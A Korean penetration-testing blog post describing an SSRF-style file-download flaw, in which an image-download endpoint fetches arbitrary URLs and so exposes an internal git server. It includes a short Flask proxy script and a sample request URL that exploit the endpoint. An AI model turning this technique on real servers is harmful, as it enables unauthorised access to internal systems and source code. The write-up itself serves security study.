일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- 거래사기
- ssrf
- 채팅환전사기
- ue4dumper
- shell_gpt
- 로맨스스캠
- 중고나라
- 네이버카페
- XSS
- AWS
- Frida
- CryptoJS
- 변태는
- 다우오피스
- 허리디스크
- self-signed
- esbuild
- 많다..
- 안전결제
- Malware Sample
- 척추관협착증
- intelmac
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- open redirect
- 모의해킹
- Sequoia
- 취약점
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- speed-measure-webpack-plugin
Archives
- Today
- Total
annyoung
파일 다운로드 취약점 본문
폴더 정리하다가 찾은 코드인데 나름 재밌었던 취약점이었다.
example.com
의 서버가 이미지 다운로드를 지원하고 있었고, 아마도 example.com
이 DMZ에 있던거 같은데 이로 인해서 내부 git에 접근할 수 있던 취약점이었다.
물론 git commit date가 최소 2 years ago 이러다보니.. 버려진 사이트 같았고 인증 절차가 없다보니 git에 업로드된 소스코드들을 볼 수 있었다.
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/gitweb')
def index():
return requests.get('https://example.com/v1/download/image', dict(
imageUrl=f'http://git.example.com{request.full_path}',
)).content
app.run(debug=True, use_reloader=True)
[atom-one-light]
코드는 위와 같은데 웹 페이지가 깨지지 않도록 css와 js는 미리 로컬에 다운로드 받아서 git.example.com
과 동일하게 구성해서 flask를 실행시켰고, 이로 인해서 프록시처럼 클릭만으로 git repository들을 확인할 수 있었다.
원래라면 https://example.com/v1/download/image?imageUrl=http://git.example.com/gitweb/some_repository/main/resources
와 같이 웹 페이지를 다운로드 받고, 그 HTML을 열어보거나 편집기로 확인해서 다시 imageUrl param을 수정해서 다운로드 받아서 확인했어야 했다. 그런데 이런 번거로움을 프록시처럼 구성해 놓은거라고 생각하면 된다.
'모의해킹' 카테고리의 다른 글
Blind SQL Injection(MySQL) (1) | 2025.02.27 |
---|---|
Union SQL Injection(MySQL) (0) | 2025.02.27 |
XSS input hidden (0) | 2025.02.11 |
ms teams가 sourcemap에 대하는 자세 (0) | 2024.11.01 |
React Native 디컴파일 (0) | 2024.10.25 |